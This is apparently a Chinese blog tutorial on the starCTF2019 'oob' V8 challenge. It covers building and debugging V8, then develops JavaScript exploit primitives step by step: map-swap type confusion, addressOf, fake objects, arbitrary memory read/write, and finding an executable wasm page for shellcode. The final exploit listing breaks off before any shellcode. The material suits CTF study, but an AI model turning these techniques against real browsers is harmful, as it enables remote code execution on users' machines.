前言
开坑Chrome浏览器漏洞,找个简单的开始入手。
跟PHP的UAF玩法很像,触类旁通不难理解。
WebAssembly
简单来说就是为了提高性能,而将C等语言编译成一段类似字节码一样的指令,并在浏览器上执行。
根据官方文档和参考来简单认识一下这门技术,首先去GitHub下载Emscripten,用于将简单的程序编译成WebAssembly。
开始安装:
./emsdk install latest
/emsdk activate latest
source ./emsdk_env.sh
安装完成:
然后编译一个简单的测试html和配套js:
echo '#include <stdio.h>' > hello.c
echo 'int main(int argc, char ** argv) {' >> hello.c
echo 'printf("Hello, world!\n");' >> hello.c
echo '}' >> hello.c
emcc hello.c -s WASM=1 -o hello.html
编译结果:
可以看到会编译完成三个文件,一个html一个js和一个wasm,可以看出WebAssembly的运行机制就是由js调用wasm实现使用C等语言实现的代码。一般来说为了安全考虑,wasm不会允许用户直接调用系统函数(比如printf),wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。这种通过emcc编译的方式出来的结果会比较复杂,但是可以将printf这种函数调用编译成wasm可以执行的内容,具体不明。
用在线编译弄个不调用函数的简单测试:
int main() {
return(9*9);
}
编译生成字节码后然后再用js调用:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,139,128,128,128,0,1,133,128,128,128,0,0,65,209,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());
执行js就可以看到控制台上打印了81。
v8环境搭建
通过starCTF2019的一道题来入门,首先要搭建v8(chrome浏览器js引擎)环境。
听说因为墙的关系安装起来很麻烦,所以根据参考文章,先去vultr弄个国外主机(64G硬盘、2G内存,centos7,centos8要装python2似乎有点麻烦了),然后复制黏贴命令:
yum groupinstall "Development Tools"
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598(2019-starctf这道入门题)
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version
切换其他漏洞分支可以用于学习其他漏洞,参考。
编译时间很长,还遇到了swap区不够大的问题,参考文章。
编译完成后将整个v8目录打包,然后ssh也好,http也好,ftp也好,找个办法把包下载到虚拟机解压,包有点大差不多3G,整个文件夹解压出来大概9G。(我是通过xshell进行下载的,宿舍奇怪的网络早上下载比晚上快多了)
然后还要配置一下pwndbg,先把v8 gdb的初始化文件放到用户目录下(好像也没必要?不过算了):
cd ~/v8/v8/tools
mv gdbinit gdbinit_v8
cp gdbinit_v8 ~/.gdbinit_v8
然后像pwndbg的配置一样,让gdb启动时同时启动v8 gdb,修改用户目录下gdb的初始化文件.gdbinit,加入:
source ~/.gdbinit_v8
source ~/桌面/v8/v8/v8/tools/gdb-v8-support.py
然后写个js用于测试:
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a); //打印a调试信息
%SystemBreak(); //触发第一次调试
%DebugPrint(b); //打印b调试信息
%SystemBreak(); //触发第二次调试
%DebugPrint(c); //打印c调试信息
%SystemBreak(); //触发第三次调试
然后:
cd ~/v8/v8/out.gn/x64.debug/
gdb ./d8
运行脚本可以看到:
pwndbg> set args --allow-natives-syntax ./test.js
pwndbg> r
Starting program: /home/aluvion/桌面/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f6681d74700 (LWP 6831)]
DebugPrint: 0x3b73a438df19: [JSArray]
- map: 0x3157acc82d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x256361fd1111 <JSArray[0]>
- elements: 0x3b73a438de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x132831bc0c71 <FixedArray[0]> {
#length: 0x263f214001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3b73a438de39 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
0x3157acc82d99: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x132831bc04d1 <undefined>
- prototype_validity cell: 0x263f21400609 <Cell value= 1>
- instance descriptors (own) #1: 0x256361fd1ef9 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x256361fd1e09 <TransitionArray[4]>Transition array #1:
0x132831bc4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3157acc82e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x256361fd1111 <JSArray[0]>
- constructor: 0x256361fd0ec1 <JSFunction Array (sfi = 0x263f2140aca1)>
- dependent code: 0x132831bc02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
v8调试环境搭建成功,更新/重新编译方式:
tools/dev/gm.py x64.debug d8
或许可以用来切换分支之后重新编译?晚点再试试。
v8基础知识
基本类型在内存中的存储
首先是几个基础类型,包括整型(Smi/immediate small integer)、浮点数(Double)及指针(Pointers),在内存中保存的形态,按照参考文章中的描述:
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9(感觉这里应该不是&是|)
为了区分数字和指针指向的地址,v8将地址的最低位置为1,所以指针指向的地址-1才是该对象在内存中的真正地址。
然后来看看v8 gdb的几个基础调试知识。
allow-natives-syntax选项
在gdb中:
pwndbg> set args --allow-natives-syntax ./test.js
来使用。
主要定义了两个调试用函数:
- %DebugPrint(a),用于打印对象地址
- %SystemBreak(),相当于断点
job命令
将JavaScript对象在内存中的数据打印成可视形态,比如打印某个对象:
pwndbg> job 0x19e704f8def1
0x19e704f8def1: [JSArray]
- map: 0x0a950fcc2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3f3520d91111 <JSArray[0]>
- elements: 0x19e704f8dde1 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x39d6f0040c71 <FixedArray[0]> {
#length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x19e704f8dde1 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x19e704f8df39
0x19e704f8df39: [JSArray]
- map: 0x0a950fcc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3f3520d91111 <JSArray[0]>
- elements: 0x19e704f8df11 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x39d6f0040c71 <FixedArray[0]> {
#length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x19e704f8df11 <FixedDoubleArray[3]> {
0: 1.2
1: 2.2
2: 3.3
}
pwndbg> job 0x19e704f8df81
0x19e704f8df81: [JSArray]
- map: 0x0a950fcc2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3f3520d91111 <JSArray[0]>
- elements: 0x19e704f8dfa1 <FixedArray[3]> [PACKED_ELEMENTS]
- length: 3
- properties: 0x39d6f0040c71 <FixedArray[0]> {
#length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x19e704f8dfa1 <FixedArray[3]> {
0: 1
1: 0x19e704f8dfc9 <HeapNumber 2.2>
2: 0x19e704f8def1 <JSArray[3]>
}
经过测试我们可以看出,当一个js对象中同时存在整型和浮点型,他们的存储方式就是浮点式。而如果存在对象类型,存储的浮点数和对象会用指针进行表示。
telescope
将某处地址处的数据打印出来:
wndbg> telescope 0x19e704f8df80
00:0000│ 0x19e704f8df80 —▸ 0xa950fcc2f79 ◂— 0x4000039d6f00401
01:0008│ 0x19e704f8df88 —▸ 0x39d6f0040c71 ◂— 0x39d6f00408
02:0010│ 0x19e704f8df90 —▸ 0x19e704f8dfa1 ◂— 0x39d6f00408
03:0018│ 0x19e704f8df98 ◂— 0x300000000
04:0020│ 0x19e704f8dfa0 —▸ 0x39d6f0040801 ◂— 0x39d6f00401
05:0028│ 0x19e704f8dfa8 ◂— 0x300000000
06:0030│ 0x19e704f8dfb0 ◂— 0x100000000
07:0038│ 0x19e704f8dfb8 —▸ 0x19e704f8dfc9 ◂— 0x9a000039d6f00405
可以看出,一个对象的内存中的前三个部分分别为:map属性,properties属性(对象成员保存在这里)和elements属性(数组成员保存在这里)。
查看一下数组的elements属性:
pwndbg> job 0x081d75e0dfa1
0x81d75e0dfa1: [FixedArray]
- map: 0x01a834580801 <Map>
- length: 3
0: 1
1: 0x081d75e0dfc9 <HeapNumber 2.2>
2: 0x081d75e0def1 <JSArray[3]>
pwndbg> telescope 0x081d75e0dfa0
00:0000│ 0x81d75e0dfa0 —▸ 0x1a834580801 ◂— 0x1a8345801
01:0008│ 0x81d75e0dfa8 ◂— 0x300000000
02:0010│ 0x81d75e0dfb0 ◂— 0x100000000
03:0018│ 0x81d75e0dfb8 —▸ 0x81d75e0dfc9 ◂— 0x9a000001a8345805
04:0020│ 0x81d75e0dfc0 —▸ 0x81d75e0def1 ◂— 0x7100000e0b5ea82d
05:0028│ 0x81d75e0dfc8 —▸ 0x1a834580561 ◂— 0x2000001a8345801
06:0030│ 0x81d75e0dfd0 ◂— 0x400199999999999a
07:0038│ 0x81d75e0dfd8 ◂— 0xdeadbeedbeadbeef
可以看到,elements属性的三个部分分别是:map属性、成员数量和成员。
类型辨认
我们可以注意到,我们使用job命令读取一个地址时可以将其可视化打印成相应的数字或者对象,其中必定经过了类型辨认的阶段。
整型很好辨认,其低32位全是0,浮点数和对象的辨认就需要依靠他们的map属性了。
如果对象中的成员全是数字(整型/浮点数),那就不需要每个成员都带一个map属性,再用指针来表示了。
当成员中存在对象时,指针会指向该成员的map属性。(浮点数变成map+浮点的存储形式,对象不变)
对象及其elements属性的map属性
仔细观察可以发现,对象和elements属性各有一个map属性,里面都有类型相关的标识,那么在访问elements属性时,会以哪个属性为准呢?
尝试在gdb中将一个对象数组的map属性修改为一个浮点型数组的map属性(整型只有32位,无法完全读取),修改一下测试脚本:
var obj = {"a": 1};
var float_array = [1.1];
var obj_array = [obj];
%DebugPrint(float_array);
%DebugPrint(obj_array);
%SystemBreak();
console.log(obj_array[0]);
然后修改内存(用不了job命令会稍有麻烦,不过问题不大):
0x18a9c7bcde61 <JSArray[1]>
0x18a9c7bcde99 <JSArray[1]>
pwndbg> telescope 0x18a9c7bcde98
00:0000│ 0x18a9c7bcde98 —▸ 0x16beebb02f79 ◂— 0x40000373a830001
01:0008│ 0x18a9c7bcdea0 —▸ 0x373a83000c71 ◂— 0x373a830008
02:0010│ 0x18a9c7bcdea8 —▸ 0x18a9c7bcde81 ◂— 0x373a830008
03:0018│ 0x18a9c7bcdeb0 ◂— 0x100000000
04:0020│ 0x18a9c7bcdeb8 ◂— 0x0
... ↓
pwndbg> telescope 0x18a9c7bcde60
00:0000│ 0x18a9c7bcde60 —▸ 0x16beebb02ed9 ◂— 0x40000373a830001
01:0008│ 0x18a9c7bcde68 —▸ 0x373a83000c71 ◂— 0x373a830008
02:0010│ 0x18a9c7bcde70 —▸ 0x18a9c7bcde49 ◂— 0x373a830014
03:0018│ 0x18a9c7bcde78 ◂— 0x100000000
04:0020│ 0x18a9c7bcde80 —▸ 0x373a83000801 ◂— 0x373a830001
05:0028│ 0x18a9c7bcde88 ◂— 0x100000000
06:0030│ 0x18a9c7bcde90 —▸ 0x18a9c7bcddf9 ◂— 0x71000016beebb0ab
07:0038│ 0x18a9c7bcde98 —▸ 0x16beebb02f79 ◂— 0x40000373a830001
pwndbg> set {unsigned long}0x18a9c7bcde98 = 0x0016beebb02ed9
pwndbg> c
Continuing.
1.3397815063873e-310
输出不是我们想看到的地址形式,需要做下类型转换:
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
console.log(hex(f2i(1.3397815063873e-310)))
最后得到:000018a9c7bcddf9,即对象数组中成员所在的elements属性(elements指针指向的0x18a9c7bcde80地址处),中的第一个成员0x18a9c7bcddf9(位于地址0x18a9c7bcde90处)。
顺带一提,如果调试的是debug版本,修改内存之后再打印对象会发现程序错误,大概是这个样子:
参考文章2也有提到这个问题,这里我就不加以研究了。
starCTF2019
题目地址:https://github.com/0xfocu5/CTF/blob/master/Chrome/2019-starctf-oob.zip
题目提供了一个diff文件对源代码进行了修改,首先我们要通过这个diff文件对我们下载到的源代码进行更新和重编译。
环境搭建
用vultr上的国外云主机更新一遍,首先把diff文件放到v8目录下,执行:
git apply oob.diff
然后查看src/bootstrapper.cc:
可以看到补丁已经打上去了,然后我们重新编译出d8:
tools/dev/gm.py x64.release d8
然后把out目录打包到本地即可,简单测试一下oob函数能不能调用:
aluvion@aluvion:~/桌面/v8/v8/v8/out/x64.release$ cat test.js
var a = [1];
console.log(a.oob());
aluvion@aluvion:~/桌面/v8/v8/v8/out/x64.release$ ./d8 test.js
2.84793937122275e-310
没有问题,环境搭建完成。
oob函数
看看这个函数的具体实现:
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
简单来说就是根据参数数量执行读或写操作,而C++的成员函数的第一个参数是this指针,所以实际上就是无参执行读操作,有1个参数时执行写操作。仔细观测对数组进行的读写操作,访问的都是array[length],而正常数组的下标都是0至length-1,所以这里实际上存在一个越界访问问题,会对。
我们通过调试一下看看:
var obj = {"obj": "Twings"};
var obj_array = [obj];
%DebugPrint(obj_array);
%SystemBreak();
附近的内存:
pwndbg> telescope 0x1308b094dde8 // 对象数组的存放地址
00:0000│ 0x1308b094dde8 —▸ 0x3433ccc82f79 ◂— 0x4000037cf4b8c01 // 对象数组的map属性,标识了这是个对象数组
01:0008│ 0x1308b094ddf0 —▸ 0x37cf4b8c0c71 ◂— 0x37cf4b8c08
02:0010│ 0x1308b094ddf8 —▸ 0x1308b094ddd1 ◂— 0x37cf4b8c08 // 对象数组的elements属性,指向成员对象的指针放置在其中
03:0018│ 0x1308b094de00 ◂— 0x100000000
04:0020│ 0x1308b094de08 ◂— 0x0
... ↓
pwndbg> telescope 0x1308b094ddd0 // 数组成员的存放地址,即对象数组的elements属性
00:0000│ 0x1308b094ddd0 —▸ 0x37cf4b8c0801 ◂— 0x37cf4b8c01
01:0008│ 0x1308b094ddd8 ◂— 0x100000000 // 成员数量
02:0010│ 0x1308b094dde0 —▸ 0x1308b094dd81 ◂— 0x7100003433ccc8ab // 第一个成员对象的地址
03:0018│ 0x1308b094dde8 —▸ 0x3433ccc82f79 ◂— 0x4000037cf4b8c01 // 对象数组的首个地址单元,即其map属性
04:0020│ 0x1308b094ddf0 —▸ 0x37cf4b8c0c71 ◂— 0x37cf4b8c08
05:0028│ 0x1308b094ddf8 —▸ 0x1308b094ddd1 ◂— 0x37cf4b8c08
06:0030│ 0x1308b094de00 ◂— 0x100000000
07:0038│ 0x1308b094de08 ◂— 0x0
很明显,这里读写的其实就是对象数组的首个地址单元的数据,即其map属性的地址。
也就是说,通过这个越界写,我们可以让v8的类型判断混乱,从而让一个对象数组被认为是一个浮点数组:
var obj = {"obj": "Twings"};
var float_array = [1.1];
var obj_array = [obj];
var float_array_map = float_array.oob();
var obj_array_map = obj_array.oob();
%DebugPrint(obj_array);
//%SystemBreak();
obj_array.oob(float_array_map);
console.log(hex(f2i(obj_array[0])));
结果就会打印出第一个成员对象的地址:
0x32884604ec51 <JSArray[1]>
000032884604ebb1
整合一下成一个函数:
function addressOf(o) {
obj_array[0] = o;
obj_array.oob(float_array_map);
let obj_addr = obj_array[0];
obj_array.oob(obj_array_map);
return obj_addr;
}
console.log(hex(f2i(addressOf(float_array))));
%DebugPrint(float_array);
调试确认没有问题:
00000ce56574ed51
0x0ce56574ed51 <JSArray[1]>
任意地址读写
通过这个类型混淆,我们能做什么呢?
将对象数组混淆成浮点数组,我们可以打印一个对象的地址。
而反过来,将浮点数组混淆成对象数组,然后访问其第一个成员,v8就会将这个浮点数当成一个对象地址。而因为这个浮点数可以由我们随意控制,所以如果我们可以控制某一块内存的数据,我们就可以伪造一个对象出来。
这个问题也很好解决,我们可以设置一个浮点数组,因为浮点数组的成员是成片排列在内存中的,所以这样一来我们就可以完全控制一块内存用以伪造对象。然后通过addressOf函数获取其内存地址,通过调试我们可以发现elements一般紧贴该对象,所以可以通过计算获取这片内存的地址,先调试一下看看偏移:
var fake_array = [
float_array_map,
i2f(0n),
addressOf(float_array),
i2f(0x100000000n),
1.1,
]
var fake_array_addr = f2i(addressOf(fake_array));
console.log(hex(fake_array_addr));
结果:
pwndbg> telescope 0x000012610a44f200
00:0000│ 0x12610a44f200 —▸ 0x1e62dfe02ed9 ◂— 0x40000245bdfdc01
01:0008│ 0x12610a44f208 —▸ 0x245bdfdc0c71 ◂— 0x245bdfdc08
02:0010│ 0x12610a44f210 —▸ 0x12610a44f1c9 ◂— 0x245bdfdc14
03:0018│ 0x12610a44f218 ◂— 0x500000000
04:0020│ 0x12610a44f220 —▸ 0x245bdfdc12c9 ◂— 0x245bdfdc01
05:0028│ 0x12610a44f228 ◂— 0x100000000
06:0030│ 0x12610a44f230 ◂— 0x40000000000
07:0038│ 0x12610a44f238 —▸ 0x245bdfdc12c9 ◂— 0x245bdfdc01
pwndbg> p/x 0x000012610a44f201-0x12610a44f1c9
$4 = 0x38
因为elements属性前两个地址单元放的是map属性和成员数量,第三个地址单元开始才是成员,所以再计算上0x10的偏移,最后结果应该是-0x38+0x10。
通过伪造一个浮点数组,我们可以读取其成员,即elements属性所指向地址后方一点地方的数据,再简单测试一下,把伪造浮点数组的长度加多一个0(长度变为16),同样由于elements指针和具体成员之间存在一个0x10的偏移,修改一下伪造浮点数组的第三个浮点数:
var fake_array = [
float_array_map,
i2f(0n),
i2f(f2i(addressOf(float_array)) - 0x10n),
i2f(0x1000000000n),
1.1,
]
var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
float_array[0] = i2f(fake_array_addr);
float_array.oob(obj_array_map);
console.log(hex(fake_array_addr));
let fake_obj = float_array[0];
console.log(hex(f2i(fake_obj[0])));
输出结果:
0000220265bcf259
0000343668202f79
float array map: 0000343668202ed9 , obj array map: 0000343668202f79
0x220265bcf209 <JSArray[1]>
0x220265bcf1d1 <JSArray[1]>
0x220265bcf259 <JSArray[16]>
可以看到,我们成功获得了当时被设置在浮点数组map属性位置,对象数组的map属性地址。
同样写成函数:
function getFakeObj() {
var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
float_array[0] = i2f(fake_array_addr);
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}
顺便把任意地址读写也写成函数:
var fake_obj = getFakeObj();
function read(addr) {
fake_array[2] = i2f(f2i(addr) - 0x10n)
return fake_obj[0];
}
function write(addr, data) {
fake_array[2] = i2f(f2i(addr) - 0x10n)
fake_obj[0] = data;
}
console.log(hex(f2i(read(addressOf(obj_array)))));
write(addressOf(float_array), 1.1);
我们已经实现了任意地址读,任意地址写也很简单,直接修改fake_obj即可。
命令执行
有了任意地址读写,我们可以做什么呢?
与PHP的UAF不同,chrome没有什么可以执行系统命令的函数,无法直接通过调用函数的方式执行命令。
不过chrome中存在wasm技术,虽然wasm编译后的结果看起来是一段v8字节码而不是系统汇编代码,不过当它加载到v8中的时候,v8会不会生成一些会执行到的汇编代码在内存中?如果有,这段地址就是可读可写可执行的,我们就可以通过任意地址写将其替换成我们的shellcode从而完成命令执行。
我们先来调试看看wasm加载字节码之后形成的函数是什么样子的:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();
结果:
DebugPrint: 0x38400785fa69: [Function] in OldSpace
- map: 0x17f2a8584379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x384007842109 <JSFunction (sfi = 0x828bce48039)>
- elements: 0x14d3e7a80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x38400785fa31 <SharedFunctionInfo 0>
- name: 0x14d3e7a84ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x384007841869 <NativeContext[246]>
- code: 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x38400785f871
- WASM function index 0
- properties: 0x14d3e7a80c71 <FixedArray[0]> {
#length: 0x0828bce404b9 <AccessorInfo> (const accessor descriptor)
#name: 0x0828bce40449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x0828bce40369 <AccessorInfo> (const accessor descriptor)
#caller: 0x0828bce403d9 <AccessorInfo> (const accessor descriptor)
}
先看看很可疑的code属性:
着实可疑,再看看权限:
不可写,算了算了。context属性看起来是内置相关的东西,然后看看shared_info:
pwndbg> job 0x38400785fa31
0x38400785fa31: [SharedFunctionInfo] in OldSpace
- map: 0x14d3e7a809e1 <Map[56]>
- name: 0x14d3e7a84ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x38400785fa09 <WasmExportedFunctionData>
- code (from data): 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x14d3e7a80c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x14d3e7a82a39: [FeedbackMetadata]
- map: 0x14d3e7a81319 <Map>
- slot_count: 0
看起来跟wasm有关,它的code跟上一级对象一致,还有一个from data的标注,那看看它的data,即WasmExportedFunctionData(看起来就是跟导入的字节码有关):
pwndbg> job 0x38400785fa09
0x38400785fa09: [WasmExportedFunctionData] in OldSpace
- map: 0x14d3e7a85879 <Map[40]>
- wrapper_code: 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x38400785f871 <Instance map = 0x17f2a8589789>
- function_index: 0
wrapper_code同样跟上一级对象的code属性一致,看看instance:
pwndbg> job 0x38400785f871
0x38400785f871: [WasmInstanceObject] in OldSpace
- map: 0x17f2a8589789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0a9ce3bcac19 <Object map = 0x17f2a858abd9>
- elements: 0x14d3e7a80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x0a9ce3bce411 <Module map = 0x17f2a85891e9>
- exports_object: 0x0a9ce3bce681 <Object map = 0x17f2a858ad19>
- native_context: 0x384007841869 <NativeContext[246]>
- memory_object: 0x38400785f999 <Memory map = 0x17f2a858a189>
- table 0: 0x0a9ce3bce619 <Table map = 0x17f2a8589aa9>
- imported_function_refs: 0x14d3e7a80c71 <FixedArray[0]>
- managed_native_allocations: 0x0a9ce3bce5c1 <Foreign>
- memory_start: 0x7fead5e20000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x5620435b34f0
- globals_start: (nil)
- imported_mutable_globals: 0x5620435b3510
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x14d3e7a80c71 <FixedArray[0]> {}
打印内存看看:
pwndbg> x/20xg 0x27859981f888
0x27859981f888: 0x00002679e5989789 0x0000124450540c71
0x27859981f898: 0x0000124450540c71 0x00007fdcacc70000
0x27859981f8a8: 0x0000000000010000 0x000000000000ffff
0x27859981f8b8: 0x000055caa43b78c8 0x0000124450540c71
0x27859981f8c8: 0x000055caa44324f0 0x00001244505404d1
0x27859981f8d8: 0x0000000000000000 0x0000000000000000
0x27859981f8e8: 0x0000000000000000 0x0000000000000000
0x27859981f8f8: 0x000055caa4432510 0x00001244505404d1
0x27859981f908: 0x000055caa43adc00 0x00000ea5d7323000
0x27859981f918: 0x000000ac9d38e419 0x000000ac9d38e689
pwndbg> telescope 0x27859981f888+0x88
00:0000│ 0x27859981f910 —▸ 0xea5d7323000 ◂— movabs r10, 0xea5d7323260 /* 0xea5d7323260ba49 */
01:0008│ 0x27859981f918 —▸ 0xac9d38e419 ◂— 0x7100002679e59891
02:0010│ 0x27859981f920 —▸ 0xac9d38e689 ◂— 0x7100002679e598ad
03:0018│ 0x27859981f928 —▸ 0x278599801869 ◂— 0x124450540f
04:0020│ 0x27859981f930 —▸ 0x27859981f9b1 ◂— 0x7100002679e598a1
05:0028│ 0x27859981f938 —▸ 0x1244505404d1 ◂— 0x1244505405
pwndbg> vmmap 0xea5d7323000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xea5d7323000 0xea5d7324000 rwxp 1000 0 +0x0
我们可以发现,在偏移0x88处存在一个地址,而该地址段可读可写可执行,接下来我们需要确认这一段代码会被执行到,调用一下从字节码中加载的函数f,然后继续执行:
pwndbg> b *0xea5d7323000
Breakpoint 2 at 0xea5d7323000
pwndbg> c
Continuing.
Thread 1 "d8" hit Breakpoint 2, 0x00000ea5d7323000 in ?? ()
可以看到,往这里写代码后确实是可以执行的。
我们需要用任意地址读获取这个地址:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_addr = addressOf(f);
var shared_info_addr = read(i2f(f2i(wasm_addr) + 0x18n));
var data_addr = read(i2f(f2i(shared_info_addr) + 0x8n));
var instance_addr = read(i2f(f2i(data_addr) + 0x10n));
var shellcode_addr = read(i2f(f2i(instance_addr) + 0x88n));
console.log(hex(f2i(shellcode_addr)));
然后用任意地址写把我们的命令执行shellcode写入即可,不过直接用write函数写入的时候有点问题,因为写入时需要将指针指向-0x10偏移的地方,而这个偏移对于这段汇编代码来说是一个不可读的区域,所以就会导致程序崩溃。
解决的方法来自参考文章:
完整利用
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
var obj = {"obj": "Twings"};
var float_array = [1.1];
var obj_array = [obj];
var float_array_map = float_array.oob();
var obj_array_map = obj_array.oob();
function addressOf(o) {
obj_array[0] = o;
obj_array.oob(float_array_map);
let obj_addr = obj_array[0];
obj_array.oob(obj_array_map);
return obj_addr;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(f2i(addressOf(float_array)) - 0x10n),
i2f(0x1000000000n),
1.1,
]
function getFakeObj() {
var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
float_array[0] = i2f(fake_array_addr);
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}
var fake_obj = getFakeObj();
function read(addr) {
fake_array[2] = i2f(f2i(addr) - 0x10n)
return fake_obj[0];
}
function write(addr, data) {
fake_array[2] = i2f(f2i(addr) - 0x10n)
console.log("write at: " + hex(f2i(i2f((f2i(addr) - 0x10n)))) + ", data: " + hex(f2i(data)));
fake_obj[0] = data;
}
